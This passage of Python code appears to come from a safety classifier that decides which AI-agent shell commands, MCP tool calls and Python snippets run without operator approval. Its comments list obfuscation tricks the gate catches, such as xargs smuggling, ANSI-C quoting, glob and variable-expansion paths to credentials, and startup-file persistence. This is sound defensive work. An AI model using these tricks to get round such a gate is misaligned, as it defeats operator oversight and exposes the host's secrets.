_AUTO_UNSAFE_FIND_LIKE_FLAGS = _AUTO_UNSAFE_COMMAND_FLAGS["find"] | _AUTO_UNSAFE_COMMAND_FLAGS["fd"]
|
|
# Recursive readers with an absolute-path target escape the workdir onto host
|
|
# files (grep -R TOKEN /home, rg TOKEN /), so they ask.
|
|
_AUTO_RECURSIVE_SEARCH = frozenset({"grep", "egrep", "fgrep", "rg", "ug", "find", "fd"})
|
|
# Directory walkers that always recurse (tree /home, du /) read the whole host
|
|
# subtree under an absolute/tilde root, like a recursive search. ls only recurses
|
|
# with -R/--recursive, so it is gated separately when that flag is present.
|
|
_AUTO_RECURSIVE_LISTERS = frozenset({"tree", "du"})
|
|
# Benign wrappers: safe AND forward command position to their target (checked in
|
|
# turn). sudo/su/chroot/etc. are absent, so they classify as unsafe. xargs is
|
|
# absent too: it appends arguments read from stdin that this scan never sees, so
|
|
# `echo -o out /etc/passwd | xargs sort` forwards to `sort -o out /etc/passwd`
|
|
# (a write + sensitive read) while only the allow-listed literals are visible.
|
|
# setsid/exec/builtin forward to a child command just like env/nohup, so
|
|
# classification continues at the child rather than stopping at the wrapper.
|
|
_AUTO_SAFE_WRAPPERS = frozenset(
|
|
{
|
|
"env",
|
|
"command",
|
|
"builtin",
|
|
"exec",
|
|
"time",
|
|
"timeout",
|
|
"nice",
|
|
"ionice",
|
|
"stdbuf",
|
|
"nohup",
|
|
"setsid",
|
|
}
|
|
)
|
|
|
|
# MCP tools whose names look read-only auto-run; anything else asks.
|
|
_AUTO_SAFE_MCP_TOOL_RE = re.compile(
|
|
r"^(get|list|search|read|fetch|query|find|describe|show|view|lookup|"
|
|
r"retrieve|count|status|info|help|check)(?:[_\-].*)?$",
|
|
re.IGNORECASE,
|
|
)
|
|
# A mutating verb anywhere in the name overrides a read-only prefix, so a
|
|
# compound name like get_or_create_issue or read_and_delete_file still asks.
|
|
_AUTO_UNSAFE_MCP_VERB_RE = re.compile(
|
|
r"(?:^|[_\-])(?:create|update|delete|remove|write|set|add|send|post|put|"
|
|
r"patch|insert|drop|kill|exec|execute|run|deploy|publish|move|rename|edit|"
|
|
r"modify|upload|replace|revoke|grant|approve|merge|close|cancel|pay|"
|
|
r"transfer|buy|sell|reset|clear|purge|destroy|terminate|revert|rollback|"
|
|
r"trigger|enable|disable|install|uninstall|restart|stop|start|"
|
|
r"save|archive|submit|commit|push|sync|register|"
|
|
r"clone|checkout|comment|fork|tag|invite|share|append|prepend|"
|
|
r"copy|duplicate|import|export|download|backup|restore|snapshot|mirror|"
|
|
r"upsert|assign|mark|subscribe|unsubscribe|reply|notify)(?:[_\-]|$)",
|
|
re.IGNORECASE,
|
|
)
|
|
# A read-named MCP tool that returns a secret is still a sensitive read, so a
|
|
# credential noun anywhere in the name (read_secret, list_tokens,
|
|
# get_credentials, fetch_api_key) asks even without a mutating verb or a path/SQL
|
|
# argument. Scoped nouns (api/access/private/... _key) avoid flagging benign
|
|
# keys like a primary_key or keyboard lookup.
|
|
_AUTO_SENSITIVE_MCP_NOUN_RE = re.compile(
|
|
r"(?:^|[_\-])(?:"
|
|
r"secret|token|credential|password|passwd|passphrase|apikey|"
|
|
r"(?:api|access|private|secret|signing|encryption|auth|session)[_\-]?keys?"
|
|
r")s?(?:[_\-]|$)",
|
|
re.IGNORECASE,
|
|
)
|
|
# Split a camelCase boundary with an underscore (runCommand -> run_Command) so
|
|
# the term-boundary MCP regexes match camelCase tool names too.
|
|
_CAMEL_CASE_RE = re.compile(r"(?<=[a-z0-9])(?=[A-Z])")
|
|
# A name that reads (get_release, search_code, list_invoices) names its SUBJECT,
|
|
# not the action, so the impact and runtime-noun patterns below must not fire on
|
|
# it, or the everyday read tools of every server would prompt.
|
|
_AUTO_READ_MCP_VERB_RE = re.compile(
|
|
r"(?:^|[_\-])(?:get|list|read|search|find|fetch|query|describe|show|view|"
|
|
r"inspect|status|info|count|exists|lookup|browse|preview|download|export|"
|
|
r"history|log|logs|diff|compare|summarize|summarise)(?:[_\-]|$)",
|
|
re.IGNORECASE,
|
|
)
|
|
# The runtime nouns alone (python, code, script, notebook) name a subject as
|
|
# often as an action, so they only count when nothing reads.
|
|
_AUTO_EXEC_MCP_VERB_ONLY_RE = re.compile(
|
|
r"(?:^|[_\-])(?:exec|execute|run|eval|spawn|invoke|launch|shell|bash|zsh|"
|
|
r"powershell|pwsh|terminal|subprocess|interpreter)(?:[_\-]|$)",
|
|
re.IGNORECASE,
|
|
)
|
|
_AUTO_EXEC_MCP_RUNTIME_NOUN_RE = re.compile(
|
|
r"(?:^|[_\-])(?:python[0-9.]*|node|nodejs|deno|bun|ruby|perl|php|code|"
|
|
r"script|repl|sandbox|notebook)(?:[_\-]|$)",
|
|
re.IGNORECASE,
|
|
)
|
|
# An MCP tool that runs arbitrary commands/code (run_command, eval_code, bash)
|
|
# is as unsafe as a terminal call and runs on the server, outside the terminal
|
|
# sandbox, so auto gates it. Whole name segments only, so get_command and
|
|
# list_shells stay read.
|
|
_AUTO_EXEC_MCP_TOOL_RE = re.compile(
|
|
r"(?:^|[_\-])(?:"
|
|
r"exec|execute|run|eval|spawn|invoke|launch|"
|
|
r"shell|bash|zsh|powershell|pwsh|terminal|subprocess|interpreter|"
|
|
# A bare runtime name (mcp__srv__python, __node, __code) is an execution
|
|
# tool even without a verb: its payload runs on the MCP server.
|
|
r"python[0-9.]*|node|nodejs|deno|bun|ruby|perl|php|code|script|repl|sandbox|notebook"
|
|
r")(?:[_\-]|$)",
|
|
re.IGNORECASE,
|
|
)
|
|
# A destructive verb as a whole name segment: an honestly-named MCP tool
|
|
# (delete_file, delete_repo, drop_table, purge_index) runs outside the terminal
|
|
# sandbox and causes data loss, so auto prompts on it even when the arguments
|
|
# carry no SQL/HTTP mutation marker. Non-destructive mutations (create/update/
|
|
# add/set/insert/patch) still run; a read that merely contains one of these as
|
|
# a substring (undelete, list_removed) does not match on the segment boundary.
|
|
_AUTO_DESTRUCTIVE_MCP_VERB_RE = re.compile(
|
|
r"(?:^|[_\-])(?:"
|
|
r"delete|destroy|drop|purge|wipe|truncate|erase|remove|unlink|"
|
|
r"teardown|revoke|terminate|uninstall|clear|reset|empty|flush|prune|expire"
|
|
r")(?:[_\-]|$)",
|
|
re.IGNORECASE,
|
|
)
|
|
# A name without separators (mcp__srv__runcommand, __shellexec) never reaches the
|
|
# segment boundaries above, so match the verb+object compounds directly.
|
|
_MCP_EXEC_VERBS = r"execute|exec|run|eval|spawn|invoke|launch|start"
|
|
_MCP_EXEC_OBJECTS = r"command|cmd|shell|script|code|process|program|bash|terminal|proc|task|job"
|
|
_AUTO_EXEC_MCP_COMPOUND_RE = re.compile(
|
|
r"(?:^|[_\-])(?:"
|
|
rf"(?:{_MCP_EXEC_VERBS})(?:{_MCP_EXEC_OBJECTS})"
|
|
rf"|(?:{_MCP_EXEC_OBJECTS})(?:{_MCP_EXEC_VERBS})"
|
|
r")(?:[_\-]|$)",
|
|
re.IGNORECASE,
|
|
)
|
|
# The verbs an MCP tool name may carry and still run without a prompt: reads, and
|
|
# ordinary writes that create or edit a record. Destructive, privilege and
|
|
# money-moving verbs are caught by the patterns above before this is consulted.
|
|
_AUTO_KNOWN_MCP_VERBS = frozenset(
|
|
{
|
|
# read / inspect
|
|
"get",
|
|
"list",
|
|
"read",
|
|
"search",
|
|
"find",
|
|
"fetch",
|
|
"query",
|
|
"describe",
|
|
"show",
|
|
"view",
|
|
"inspect",
|
|
"status",
|
|
"info",
|
|
"count",
|
|
"exists",
|
|
"resolve",
|
|
"lookup",
|
|
"browse",
|
|
"diff",
|
|
"log",
|
|
"logs",
|
|
"history",
|
|
"summarize",
|
|
"summarise",
|
|
"analyze",
|
|
"analyse",
|
|
"validate",
|
|
"check",
|
|
"test",
|
|
"ping",
|
|
"preview",
|
|
"head",
|
|
"stat",
|
|
"download",
|
|
"export",
|
|
"render",
|
|
"format",
|
|
"parse",
|
|
"compare",
|
|
"explain",
|
|
"select",
|
|
"retrieve",
|
|
"audit",
|
|
"review",
|
|
"monitor",
|
|
"trace",
|
|
"profile",
|
|
"benchmark",
|
|
"lint",
|
|
"detect",
|
|
"classify",
|
|
"rank",
|
|
"score",
|
|
"predict",
|
|
"infer",
|
|
"evaluate",
|
|
# ordinary writes
|
|
"create",
|
|
"add",
|
|
"insert",
|
|
"update",
|
|
"edit",
|
|
"modify",
|
|
"set",
|
|
"put",
|
|
"patch",
|
|
"post",
|
|
"send",
|
|
"write",
|
|
"append",
|
|
"upload",
|
|
"comment",
|
|
"assign",
|
|
"label",
|
|
"tag",
|
|
"move",
|
|
"rename",
|
|
"copy",
|
|
"clone",
|
|
"sync",
|
|
"merge",
|
|
"close",
|
|
"reopen",
|
|
"open",
|
|
"start",
|
|
"stop",
|
|
"pause",
|
|
"resume",
|
|
"cancel",
|
|
"schedule",
|
|
"notify",
|
|
"register",
|
|
"save",
|
|
"store",
|
|
"apply",
|
|
"submit",
|
|
"request",
|
|
"generate",
|
|
"convert",
|
|
"translate",
|
|
"complete",
|
|
"index",
|
|
"ingest",
|
|
"embed",
|
|
"train",
|
|
"call",
|
|
"load",
|
|
"init",
|
|
"configure",
|
|
"config",
|
|
"upsert",
|
|
"retry",
|
|
"replay",
|
|
"approve",
|
|
"reject",
|
|
"acknowledge",
|
|
"annotate",
|
|
"draft",
|
|
"subscribe",
|
|
"watch",
|
|
"listen",
|
|
"poll",
|
|
"wait",
|
|
"sleep",
|
|
# browser / ui drivers
|
|
"navigate",
|
|
"click",
|
|
"type",
|
|
"scroll",
|
|
"hover",
|
|
"press",
|
|
"screenshot",
|
|
"capture",
|
|
"snapshot",
|
|
"extract",
|
|
"crawl",
|
|
"scrape",
|
|
"fill",
|
|
"focus",
|
|
# data shaping
|
|
"sort",
|
|
"filter",
|
|
"group",
|
|
"aggregate",
|
|
"split",
|
|
"chunk",
|
|
"tokenize",
|
|
"encode",
|
|
"decode",
|
|
"hash",
|
|
"sign",
|
|
"verify",
|
|
"compress",
|
|
"decompress",
|
|
"dedupe",
|
|
"normalize",
|
|
"normalise",
|
|
"sanitize",
|
|
"sanitise",
|
|
"redact",
|
|
"mask",
|
|
"compute",
|
|
"calculate",
|
|
"solve",
|
|
"simulate",
|
|
"plot",
|
|
"chart",
|
|
# build / ship
|
|
"build",
|
|
"compile",
|
|
"bundle",
|
|
"package",
|
|
"backup",
|
|
"restore",
|
|
"ask",
|
|
"answer",
|
|
"chat",
|
|
"prompt",
|
|
"respond",
|
|
"reply",
|
|
"transcribe",
|
|
}
|
|
)
|
|
|
|
|
|
# Verbs the patterns above already gate. A name carrying one is still screenable
|
|
# even though reaching this point means it did not match: `undelete` is the
|
|
# reverse of a verb this classifier knows.
|
|
_AUTO_GATED_MCP_VERBS = frozenset(
|
|
{
|
|
"delete",
|
|
"remove",
|
|
"drop",
|
|
"destroy",
|
|
"purge",
|
|
"wipe",
|
|
"truncate",
|
|
"clear",
|
|
"reset",
|
|
"empty",
|
|
"flush",
|
|
"prune",
|
|
"expire",
|
|
"revoke",
|
|
"grant",
|
|
"authorize",
|
|
"authorise",
|
|
"elevate",
|
|
"escalate",
|
|
"impersonate",
|
|
"promote",
|
|
"transfer",
|
|
"payout",
|
|
"charge",
|
|
"refund",
|
|
"publish",
|
|
"deploy",
|
|
"release",
|
|
"install",
|
|
"uninstall",
|
|
"lock",
|
|
"mount",
|
|
}
|
|
)
|
|
_AUTO_MCP_VERB_VOCAB = _AUTO_KNOWN_MCP_VERBS | _AUTO_GATED_MCP_VERBS
|
|
|
|
|
|
def _mcp_verb_is_known(tool_name: str) -> bool:
|
|
"""Whether any term of an MCP tool name is a verb this classifier knows.
|
|
A name with none of them cannot be screened, so the caller fails closed."""
|
|
for part in re.split(r"[_\-]+", tool_name.lower()):
|
|
if not part:
|
|
continue
|
|
if part in _AUTO_KNOWN_MCP_VERBS:
|
|
return True
|
|
# The reverse or the repeat of a recognised verb (undelete, reopen,
|
|
# resend) is just as screenable as the verb itself.
|
|
for prefix in ("un", "re"):
|
|
if part.startswith(prefix) and part[len(prefix) :] in _AUTO_MCP_VERB_VOCAB:
|
|
return True
|
|
return False
|
|
|
|
|
|
# Privilege escalation over MCP: granting a role/permission/policy hands out
|
|
# access the operator never approved. An unambiguous privilege verb matches on
|
|
# its own; the soft verbs below (assign/add/set/attach/bind) only count next to a
|
|
# privilege noun, so assign_issue / add_label keep running.
|
|
_AUTO_PRIVILEGE_MCP_VERB_RE = re.compile(
|
|
r"(?:^|[_\-])(?:grant|authorize|authorise|elevate|escalate|impersonate|sudo|promote)(?:[_\-]|$)",
|
|
re.IGNORECASE,
|
|
)
|
|
# Money movement and other irreversible external side effects: an MCP call
|
|
# that pays, refunds, wires or transfers funds cannot be undone by the
|
|
# operator, so it asks even though it is not "destructive" in the fs sense.
|
|
_AUTO_HIGH_IMPACT_MCP_RE = re.compile(
|
|
r"(?:^|[_\-])(?:transfer|payout|payment|pay|charge|refund|wire|remit|"
|
|
r"withdraw|deposit|invoice|subscription|subscriptions|billing|"
|
|
r"publish|deploy|release)(?:[_\-]|$)",
|
|
re.IGNORECASE,
|
|
)
|
|
_AUTO_PRIVILEGE_MCP_NOUN_RE = re.compile(
|
|
r"(?:^|[_\-])(?:role|roles|permission|permissions|privilege|privileges|acl|acls|"
|
|
r"policy|policies|scope|scopes|grant|grants|membership|member|members|"
|
|
r"collaborator|collaborators|admin|owner)(?:[_\-]|$)",
|
|
re.IGNORECASE,
|
|
)
|
|
_AUTO_PRIVILEGE_MCP_SOFT_VERB_RE = re.compile(
|
|
r"(?:^|[_\-])(?:assign|add|set|attach|bind|put|update|create)(?:[_\-]|$)",
|
|
re.IGNORECASE,
|
|
)
|
|
|
|
# Python: modules whose import alone signals side effects auto mode should ask
|
|
# about (process spawning, network, bulk file ops, low-level memory).
|
|
_AUTO_UNSAFE_PY_MODULES = frozenset(
|
|
{
|
|
"subprocess",
|
|
"shutil",
|
|
"socket",
|
|
"ctypes",
|
|
"multiprocessing",
|
|
"pty",
|
|
"fcntl",
|
|
"requests",
|
|
"urllib",
|
|
"urllib3",
|
|
"http",
|
|
"httpx",
|
|
"aiohttp",
|
|
# huggingface_hub.hf_hub_download / snapshot_download fetch remote repo
|
|
# files over the network and write them to an on-disk cache.
|
|
"huggingface_hub",
|
|
# websockets opens a network connection; socketserver binds a listener.
|
|
"websockets",
|
|
"socketserver",
|
|
"ftplib",
|
|
"smtplib",
|
|
"telnetlib",
|
|
"paramiko",
|
|
# mail/news/rpc/browser stdlib clients open outbound connections
|
|
# (imaplib, poplib, xmlrpc.client, webbrowser.open).
|
|
"imaplib",
|
|
"poplib",
|
|
"nntplib",
|
|
"xmlrpc",
|
|
"webbrowser",
|
|
"tempfile",
|
|
# deserialization that can execute arbitrary code on load.
|
|
"pickle",
|
|
"marshal",
|
|
"shelve",
|
|
"dill",
|
|
# dbm.open(file, "c"/"n") creates files; treat the family as writers.
|
|
"dbm",
|
|
# sqlite3.connect(path) creates/mutates a database file (and runs DDL/DML
|
|
# without an open()/writer attribute), like dbm.
|
|
"sqlite3",
|
|
# runpy runs a script/module as code.
|
|
"runpy",
|
|
# ensurepip.bootstrap installs pip and venv.create builds an environment;
|
|
# both write to disk and can fetch/install packages.
|
|
"ensurepip",
|
|
"venv",
|
|
}
|
|
)
|
|
# Attribute calls that mutate the filesystem / spawn processes (os.remove,
|
|
# Path.write_text, sock.connect, ...) regardless of how the module was bound.
|
|
_AUTO_UNSAFE_PY_ATTRS = frozenset(
|
|
{
|
|
"remove",
|
|
"unlink",
|
|
"rmdir",
|
|
"removedirs",
|
|
"rename",
|
|
"renames",
|
|
"replace",
|
|
"rmtree",
|
|
"move",
|
|
"copy",
|
|
"copy2",
|
|
"copyfile",
|
|
"copytree",
|
|
"chmod",
|
|
"chown",
|
|
"system",
|
|
"popen",
|
|
"execv",
|
|
"execve",
|
|
"execl",
|
|
"execlp",
|
|
"execvp",
|
|
"spawnl",
|
|
"spawnv",
|
|
# os.startfile launches a program via its Windows association.
|
|
"startfile",
|
|
"fork",
|
|
"kill",
|
|
"killpg",
|
|
"symlink",
|
|
"link",
|
|
"mkdir",
|
|
"makedirs",
|
|
"truncate",
|
|
"touch",
|
|
"write_text",
|
|
"write_bytes",
|
|
"urlopen",
|
|
"urlretrieve",
|
|
"connect",
|
|
"bind",
|
|
"sendall",
|
|
# pathlib link creators, os node/metadata mutators, dynamic import.
|
|
"symlink_to",
|
|
"hardlink_to",
|
|
"link_to",
|
|
"mkfifo",
|
|
"mknod",
|
|
"utime",
|
|
# os.setxattr / os.removexattr mutate extended attributes, like chmod.
|
|
"setxattr",
|
|
"removexattr",
|
|
"import_module",
|
|
# loader.exec_module runs a module's code like import_module; archive
|
|
# extractall/extract write arbitrary files (zip-slip): extract takes a
|
|
# single member but an attacker-controlled member path still escapes.
|
|
"exec_module",
|
|
"extractall",
|
|
"extract",
|
|
"FileIO",
|
|
# asyncio subprocess spawners run a program past the terminal blocklist.
|
|
"create_subprocess_exec",
|
|
"create_subprocess_shell",
|
|
"subprocess_exec",
|
|
"subprocess_shell",
|
|
# asyncio outbound connections / listeners (open_connection,
|
|
# create_connection/server and unix variants), like socket.connect.
|
|
"open_connection",
|
|
"create_connection",
|
|
"create_server",
|
|
"create_unix_connection",
|
|
"create_unix_server",
|
|
# more asyncio listen/connect + UDP/raw socket helpers.
|
|
"start_server",
|
|
"start_unix_server",
|
|
"open_unix_connection",
|
|
"create_datagram_endpoint",
|
|
"sock_connect",
|
|
# os.chdir escapes the workdir; runpy helpers run arbitrary code.
|
|
"chdir",
|
|
"fchdir",
|
|
"run_path",
|
|
"run_module",
|
|
# types.FunctionType wraps a compiled code object into a callable, a
|
|
# dynamic-execution vector; pandas read_pickle deserializes (runs code).
|
|
"FunctionType",
|
|
"read_pickle",
|
|
}
|
|
)
|
|
# Pickle-backed loaders that can execute code embedded in the file; gated by
|
|
# receiver module (torch.load, joblib.load) since bare `load` is too common.
|
|
_AUTO_UNSAFE_PY_LOAD_MODULES = frozenset({"torch", "joblib", "cloudpickle"})
|
|
# Writer methods that persist to disk without going through open() (numpy.save,
|
|
# Image.save, plt.savefig, DataFrame.to_csv, json.dump). Gated as method calls
|
|
# only, so a bare attribute reference is not mistaken for a write.
|
|
_AUTO_UNSAFE_PY_WRITE_METHODS = frozenset(
|
|
{
|
|
"save",
|
|
"savefig",
|
|
"savez",
|
|
"savez_compressed",
|
|
"savetxt",
|
|
"tofile",
|
|
"dump",
|
|
"to_csv",
|
|
"to_parquet",
|
|
"to_pickle",
|
|
"to_json",
|
|
"to_feather",
|
|
"to_hdf",
|
|
"to_excel",
|
|
"to_stata",
|
|
"to_sql",
|
|
"to_xml",
|
|
# pandas text exporters that write when given a path/buffer (to_html /
|
|
# to_markdown / to_latex mirror to_csv); to_clipboard / to_gbq persist
|
|
# off-process. to_string is omitted: it is overwhelmingly display-only.
|
|
"to_html",
|
|
"to_markdown",
|
|
"to_latex",
|
|
"to_clipboard",
|
|
"to_gbq",
|
|
"imwrite",
|
|
"imsave",
|
|
"write_image",
|
|
"write_html",
|
|
# ML persistence helpers (transformers/peft/safetensors/keras) that
|
|
# export adapters or weights to disk without an open()/writer attribute.
|
|
"save_pretrained",
|
|
"save_file",
|
|
"save_model",
|
|
"save_weights",
|
|
"save_lora",
|
|
"save_checkpoint",
|
|
# logging file handlers open a log file for write on construction (even
|
|
# default mode "a" creates); matched as attribute call and bare import.
|
|
"FileHandler",
|
|
"WatchedFileHandler",
|
|
"RotatingFileHandler",
|
|
"TimedRotatingFileHandler",
|
|
# numpy.memmap(..., mode="w+") and pandas writers create/truncate a file
|
|
# on construction, like open(..., "w").
|
|
"memmap",
|
|
"open_memmap",
|
|
"ExcelWriter",
|
|
"HDFStore",
|
|
# pydoc.writedoc(name) writes name.html to the workdir.
|
|
"writedoc",
|
|
}
|
|
)
|
|
# Archive / compressed-file constructors taking the mode as their 2nd arg like
|
|
# open: ZipFile(name, "w") / gzip.GzipFile(name, "w") write, so gated only in
|
|
# write mode (reading a .gz is fine, so the modules are not blanket-unsafe).
|
|
_ARCHIVE_CTOR_NAMES = frozenset({"ZipFile", "TarFile", "GzipFile", "BZ2File", "LZMAFile"})
|
|
# The stdlib module each archive constructor is imported from.
|
|
_ARCHIVE_CTOR_MODULES = {
|
|
"zipfile": "ZipFile",
|
|
"tarfile": "TarFile",
|
|
"gzip": "GzipFile",
|
|
"bz2": "BZ2File",
|
|
"lzma": "LZMAFile",
|
|
}
|
|
# Modules whose top-level open() takes the mode as its 2nd arg like builtin open,
|
|
# so `from gzip import open as gopen` binds an open alias gated on write mode.
|
|
_OPEN_ALIAS_MODULES = frozenset({"gzip", "bz2", "lzma"})
|
|
# Builtins/itertools helpers that call their first argument once per item, so a
|
|
# writer/open alias handed to one runs without a direct call(...) site
|
|
# (list(map(open, names, modes)), starmap(np.save, ...)). filter's predicate is
|
|
# also invoked, so a writer smuggled there runs too.
|
|
_HIGHER_ORDER_INVOKERS = frozenset({"map", "filter", "starmap", "reduce"})
|
|
_PY_WRITE_MODE_RE = re.compile(r"[wax+]")
|
|
# A file-mode literal ("w", "rb", "a+"): letters/flags only, no path chars.
|
|
# Used to tell a Path.open("w") mode from a ZipFile.open("name.txt") filename.
|
|
_PY_MODE_LITERAL_RE = re.compile(r"^[rwxa][btru+]*$")
|
|
# Destructive filesystem calls in the python tool pair with the terminal `rm`
|
|
# gate, so auto prompts. `rmtree`/`unlink`/`rmdir`/`removedirs` name only fs
|
|
# deletion, so any receiver counts; `remove` is gated on the `os` module alone so
|
|
# a benign list.remove() stays out. A bare import binding is caught separately.
|
|
_PY_DESTRUCTIVE_FS_ATTRS = frozenset({"unlink", "rmtree", "rmdir", "removedirs"})
|
|
# psutil ends a process exactly as os.kill does, which is already gated.
|
|
_PY_PROCESS_KILL_ATTRS = frozenset({"kill", "terminate", "send_signal", "suspend"})
|
|
_PY_PROCESS_MODULES = frozenset({"psutil"})
|
|
# Gated only on the os module (or an alias) so a truncate/remove-like method on
|
|
# another receiver stays out. os.truncate zeroes a file like the gated terminal
|
|
# `truncate`; os.kill/os.killpg terminate like the blocked `kill`.
|
|
_PY_DESTRUCTIVE_FS_OS_ATTRS = frozenset({"remove", "truncate", "ftruncate", "kill", "killpg"})
|
|
_PY_DESTRUCTIVE_FS_IMPORT_NAMES = frozenset(
|
|
{
|
|
"remove",
|
|
"unlink",
|
|
"rmtree",
|
|
"rmdir",
|
|
"removedirs",
|
|
"truncate",
|
|
"ftruncate",
|
|
"kill",
|
|
"killpg",
|
|
}
|
|
)
|
|
# Modules whose destructive names are the same calls: posix/nt are os's
|
|
# platform twins (from posix import unlink; nt.remove(...)).
|
|
_PY_DESTRUCTIVE_FS_MODULES = ("os", "posix", "nt", "shutil", "pathlib")
|
|
|
|
# Reading these off the host escapes the intent of "read-only is safe": they
|
|
# hold credentials. Path traversal (../) escapes the per-session workdir.
|
|
_SENSITIVE_PATH_RE = re.compile(
|
|
r"(?:^|[/\\])\.(?:ssh|aws|azure|gnupg|docker|kube|config/gcloud|config/gh)(?:[/\\]|$)"
|
|
r"|\.(?:netrc|npmrc|pypirc|git-credentials|env)(?:$|[/\\.\s'\"])"
|
|
# User-level persistence: a write into a shell startup file or an XDG
|
|
# autostart/user-service dir runs on the next login, the /etc boot-hook risk
|
|
# without root, and the sandbox does not confine absolute paths (>> ~/.bashrc
|
|
# reaches the real file). Rarely read in a dev session, so gating any
|
|
# reference does not over-prompt.
|
|
r"|(?:^|[/\\\s'\"=])\.(?:bashrc|bash_profile|bash_login|bash_logout|bash_aliases"
|
|
r"|profile|zshrc|zprofile|zshenv|zlogin|zlogout|kshrc|cshrc|tcshrc|login"
|
|
r"|xprofile|xinitrc|xsession)(?:$|[/\\\s'\"])"
|
|
r"|(?:^|[/\\])\.config[/\\](?:autostart|systemd[/\\]user|environment\.d)(?:[/\\]|$)"
|
|
r"|id_rsa|id_ed25519|id_ecdsa|id_dsa"
|
|
# Hugging Face stores the login token at ~/.cache/huggingface/token and the
|
|
# legacy ~/.huggingface/token (plus the multi-token store stored_tokens); the
|
|
# rest of that cache is model data, so only the credential files match. The
|
|
# optional leading dot covers the .huggingface dotdir form.
|
|
r"|(?:^|[/\\])\.?huggingface[/\\](?:token|stored_tokens)(?:$|[/\\.\s'\"])"
|
|
# /etc/ssh holds the host private keys (ssh_host_*_key); the whole dir is
|
|
# sensitive, not just passwd/shadow/sudoers. The trailing group is the system
|
|
# persistence set: a write there (tee /etc/ld.so.preload, a drop into
|
|
# /etc/cron.d or /etc/systemd) installs a boot/login/preload hook, and the
|
|
# sandbox keeps host-fs access. Effectively write-only in a dev session, so
|
|
# gating any reference does not over-prompt.
|
|
r"|credentials|/etc/(?:passwd|shadow|sudoers|ssh(?:[/\\]|$)"
|
|
r"|cron[^/\\]*(?:[/\\]|$)|profile\.d(?:[/\\]|$)|systemd(?:[/\\]|$)"
|
|
r"|ld\.so\.preload(?:$|[/\\.\s'\"])|ld\.so\.conf|rc\.local|init\.d(?:[/\\]|$))"
|
|
# Bash opens /dev/tcp/host/port and /dev/udp/host/port as network sockets,
|
|
# so a redirection to one reaches the network without the confirm prompt.
|
|
r"|/dev/(?:tcp|udp)/"
|
|
# Docker/Kubernetes secret mounts hold injected credentials.
|
|
r"|/(?:var/)?run/secrets(?:[/\\]|$)"
|
|
# procfs leaks a (possibly parent) process env/args/memory to a read,
|
|
# including the per-thread aliases under /proc/<pid>/task/<tid>/. The fd/
|
|
# dir holds symlinks to a process's open files (a held credential/db file).
|
|
r"|/proc/[^/\s'\"]+/(?:task/[^/\s'\"]+/)?(?:environ|cmdline|mem|maps|fd)\b"
|
|
# A .pem/.key file (basename before the extension), not a bare ".key"
|
|
# (e.g. a jq '.key' filter).
|
|
r"|\w[\w.-]*\.(?:pem|key)(?:$|[\s'\"])",
|
|
re.IGNORECASE,
|
|
)
|
|
# A shell redirection with no following space (cat <../../notes) keeps `..`
|
|
# adjacent to `<`/`>`, so those count as leading delimiters here too.
|
|
_PARENT_TRAVERSAL_RE = re.compile(r"(?:^|[\s/\\'\"=:<>])\.\.(?:[/\\]|$|[\s'\"])")
|
|
# A sensitive directory: a dynamic segment under it (open(f"/etc/{name}")) is
|
|
# not provably safe, so fail closed when a folded path has a dynamic piece here.
|
|
_SENSITIVE_DIR_RE = re.compile(
|
|
r"/etc/|/(?:var/)?run/secrets[/\\]|(?:^|[/\\])\.(?:ssh|aws|azure|gnupg|docker|kube)[/\\]"
|
|
r"|(?:^|[/\\])\.config/(?:gcloud|gh)[/\\]",
|
|
re.IGNORECASE,
|
|
)
|
|
# Collapse /./ and repeated slashes so /etc/./passwd and /etc//passwd, which
|
|
# the OS resolves to /etc/passwd, still match the sensitive-path regex.
|
|
_REDUNDANT_SLASH_RE = re.compile(r"/\.?(?=/)")
|
|
# $name, ${name}, and operator/substring forms (${name:-x}, ${name:0:6}) all
|
|
# reference `name`; substituting the assigned value catches paths hidden behind
|
|
# a substring expansion (p=passwd; cat /etc/${p:0:6}).
|
|
_SHELL_VAR_RE = re.compile(r"\$\{(\w+)(?::[^{}]*)?\}|\$(\w+)")
|
|
# Pattern replacement (${p/X/w}, global ${p//X/w}) transforms the value before
|
|
# the path is used; apply it so p=passXd; cat /etc/${p/X/w} is scanned.
|
|
_SHELL_PARAM_REPL_RE = re.compile(r"\$\{(\w+)/(/)?([^/{}]*)/([^{}]*)\}")
|
|
# Case modification (${p^^} upper, ${p,,} lower, ${p^}/${p,} first char) also
|
|
# transforms the value, so p=PASSWD; cat /etc/${p,,} builds /etc/passwd.
|
|
_SHELL_PARAM_CASE_RE = re.compile(r"\$\{(\w+)(\^\^|,,|\^|,)\}")
|
|
# Indirect expansion ${!p} yields the value of the variable *named* by $p, so
|
|
# x=passwd; p=x; cat /etc/${!p} builds /etc/passwd.
|
|
_SHELL_PARAM_INDIRECT_RE = re.compile(r"\$\{!(\w+)\}")
|
|
_SHELL_ASSIGN_RE = re.compile(r"(?:^|[\s;&|(])([A-Za-z_]\w*)=([^\s;&|)]+)")
|
|
# Bash ANSI-C quoting ($'\x77' -> 'w') is expanded after this classifier, so
|
|
# decode $'...' bodies before the sensitive-path scan.
|
|
_ANSI_C_RE = re.compile(r"\$'((?:[^'\\]|\\.)*)'")
|
|
# Shell quotes only delimit; bash concatenates the pieces (cat /proc/x/enviro''n
|
|
# reads .../environ), so strip them before the sensitive-path scan.
|
|
_SHELL_QUOTE_RE = re.compile(r"['\"]")
|
|
# A glob bracket class [s] -> s, so .s[s]h de-obfuscates to .ssh for the scan.
|
|
_GLOB_BRACKET_RE = re.compile(r"\[([^!\]][^\]]*)\]")
|
|
# Bash POSIX character classes ([[:lower:]]) each match one char; Python fnmatch
|
|
# does not understand them, so normalize to `?` before the glob check.
|
|
_POSIX_CLASS_RE = re.compile(r"\[\[:\w+:\]\]")
|
|
# Canonical sensitive files a ? / * / [..] glob could expand to; fnmatch tests
|
|
# whether the pattern reaches one (cat /e??/passwd -> /etc/passwd).
|
|
_SENSITIVE_GLOB_TARGETS = (
|
|
"/etc/passwd",
|
|
"/etc/shadow",
|
|
"/etc/sudoers",
|
|
"/root/.ssh/id_rsa",
|
|
"/root/.aws/credentials",
|
|
"/home/u/.ssh/id_rsa",
|
|
"/home/u/.ssh/id_ed25519",
|
|
"/home/u/.aws/credentials",
|
|
"/home/u/.netrc",
|
|
"/home/u/.git-credentials",
|
|
)
|
|
# Directories whose every file is a credential/secret; a glob resolving into one
|
|
# (cat /r?n/secrets/hf_token, cat /root/.s??/id_rsa) reads a secret even though
|
|
# the exact filename is never enumerated, so a globbed token here asks.
|
|
_SENSITIVE_GLOB_DIRS = (
|
|
"/run/secrets",
|
|
"/var/run/secrets",
|
